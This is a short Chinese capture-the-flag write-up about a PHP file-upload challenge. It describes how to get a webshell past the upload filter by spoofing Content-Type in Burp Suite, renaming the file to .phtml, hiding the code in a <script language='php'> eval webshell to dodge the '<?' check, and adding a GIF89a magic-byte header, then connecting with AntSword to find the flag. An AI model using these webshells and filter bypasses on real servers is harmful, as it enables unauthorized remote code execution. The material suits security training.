正常上传一个php的一句话木马
可以看到提示说不是图片
接下去尝试抓包后修改文件名
Content-Type是文件扩展名,这里修改成image/jpg
看了下其他人解题,很多都用了phtml
phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析。将webshell.php改为webshell.phtm,然后用burpsuite截取上传数据包,将Content-Type的值改为image/jpg,然后发送数据包,返回的结果如下图所示,提示文件中包含<?,说明对php代码进行了过滤,虽然上传失败,但是从返回结果大概可以判断能够上传后缀名是phtml的文件,那么接下来就是要绕过<?的检测
因为服务端过滤了<?字符,所以不能只用用php语言,但是可以通过使用
<script language='php‘>@eval($_POST['abc']);</script>
这里还是不行,应该是这里不仅前端有检测,后端也有。这里可以用文件幻术头绕过,这个和图像检测的getimagesize()函数有关。
同时这里还能用图片马绕过
```powershell
`GIF89a? <script language='php>@eval($_POST['abc']);`</script>
(新建了个scriptshell.phtml文件)
返回上传成功的图片
接着蚁剑连接下一层一层目录找到flag